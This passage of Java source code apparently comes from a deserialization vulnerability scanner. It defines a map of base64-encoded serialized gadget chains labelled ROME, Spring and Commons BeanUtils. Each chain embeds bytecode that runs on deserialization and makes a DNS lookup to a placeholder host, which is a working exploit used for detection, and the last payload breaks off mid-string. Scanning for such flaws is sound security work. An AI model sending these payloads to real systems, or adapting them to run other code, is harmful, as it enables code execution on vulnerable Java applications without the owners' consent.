aWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcQB+ADoAAAABdwQAAAABcQB+ACB4cQB+AFJxAH4AHXEAfgAFc3EAfgACcQB+AAdxAH4ATHEAfgBTeA=="));
        payloadsDNS.put("ROME (DNS)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAZZyv66vgAAADEANAoAAwAiBwAyBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAFWFhYWFgIACoBABRqYXZhL25ldC9JbmV0QWRkcmVzcwcALAEACWdldEJ5TmFtZQEAKihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmV0L0luZXRBZGRyZXNzOwwALgAvCgAtADABAB15c29zZXJpYWwvUHduZXIzNDI1NDYzNjM1MjUzOAEAH0x5c29zZXJpYWwvUHduZXIzNDI1NDYzNjM1MjUzODsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMwAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMwAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMwAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAYAAIAAgAAAAynAAMBTBIruAAxV7EAAAAAAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABcAAAHUyv66vgAAADEAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu+X2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB+AAl4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AFHNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AHEwABF9vYmpxAH4ACXhwcQB+AB9xAH4AFHNxAH4AG3ZxAH4AAnEAfgANc3EAfgAgcQB+ACNxAH4ADXEAfgAGcQB+AAZxAH4ABng="));
        payloadsDNS.put("Spring (DNS)", Base64.decodeBase64("rO0ABXNyAElvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkTWV0aG9kSW52b2tlVHlwZVByb3ZpZGVyskq0B4tBGtcCAANJAAVpbmRleEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwcm92aWRlcnQAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL2NvcmUvU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyO3hwAAAAAHQADm5ld1RyYW5zZm9ybWVyc30AAAABAD1vcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAHZ2V0VHlwZXN9AAAAAgAWamF2YS5sYW5nLnJlZmxlY3QuVHlwZQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cQB+AAZzcgBgb3JnLnNwcmluZ2ZyYW1ld29yay5iZWFucy5mYWN0b3J5LnN1cHBvcnQuQXV0b3dpcmVVdGlscyRPYmplY3RGYWN0b3J5RGVsZWdhdGluZ0ludm9jYXRpb25IYW5kbGVyhWLLwAz9MRMCAAFMAA1vYmplY3RGYWN0b3J5dAAxTG9yZy9zcHJpbmdmcmFtZXdvcmsvYmVhbnMvZmFjdG9yeS9PYmplY3RGYWN0b3J5O3hwc30AAAABAC9vcmcuc3ByaW5nZnJhbWV3b3JrLmJlYW5zLmZhY3RvcnkuT2JqZWN0RmFjdG9yeXhxAH4ABnNxAH4ACXNxAH4ADT9AAAAAAAAMdwgAAAAQAAAAAXQACWdldE9iamVjdHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AAUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGWcr+ur4AAAAxADQKAAMAIgcAMgcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEABVhYWFhYCAAqAQAUamF2YS9uZXQvSW5ldEFkZHJlc3MHACwBAAlnZXRCeU5hbWUBACooTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25ldC9JbmV0QWRkcmVzczsMAC4ALwoALQAwAQAdeXNvc2VyaWFsL1B3bmVyMzI3ODY2ODU5NjUxNjEBAB9MeXNvc2VyaWFsL1B3bmVyMzI3ODY2ODU5NjUxNjE7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADMAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAGAACAAIAAAAMpwADAUwSK7gAMVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAhAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHB4cQB+ACY="));
        payloadsDNS.put("Spring Alternate Payload (DNS)", Base64.decodeBase64("rO0ABXNyAElvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkTWV0aG9kSW52b2tlVHlwZVByb3ZpZGVyskq0B4tBGtcCAANJAAVpbmRleEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwcm92aWRlcnQAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL2NvcmUvU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyO3hwAAAAAHQADm5ld1RyYW5zZm9ybWVyc30AAAABAD1vcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAHZ2V0VHlwZXN9AAAAAgAWamF2YS5sYW5nLnJlZmxlY3QuVHlwZQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cQB+AAZzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgADWgANZXF1YWxzRGVmaW5lZFoAD2hhc2hDb2RlRGVmaW5lZEwAB2FkdmlzZWR0ADJMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0FkdmlzZWRTdXBwb3J0O3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZFsADGFkdmlzb3JBcnJheXQAIltMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvQWR2aXNvcjtMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AGEwADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHVyACJbTG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLkFkdmlzb3I734MNrdIehHQCAAB4cAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5VN1kN+JOcfcCAAB4cHNyABRqYXZhLnV0aWwuTGlua2VkTGlzdAwpU11KYIgiAwAAeHB3BAAAAAB4c3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgABTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAZZyv66vgAAADEANAoAAwAiBwAyBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAFWFhYWFgIACoBABRqYXZhL25ldC9JbmV0QWRkcmVzcwcALAEACWdldEJ5TmFtZQEAKihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmV0L0luZXRBZGRyZXNzOwwALgAvCgAtADABAB15c29zZXJpYWwvUHduZXIzMjcxMzIzMzI5NjUwMAEAH0x5c29zZXJpYWwvUHduZXIzMjcxMzIzMzI5NjUwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMwAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMwAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMwAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAYAAIAAgAAAAynAAMBTBIruAAxV7EAAAAAAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AC4AAAHUyv66vgAAADEAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cA=="));
        payloadsDNS.put("Commons BeanUtils (DNS)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABlvK/rq+AAAAMQA0CgADACIHADIHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZX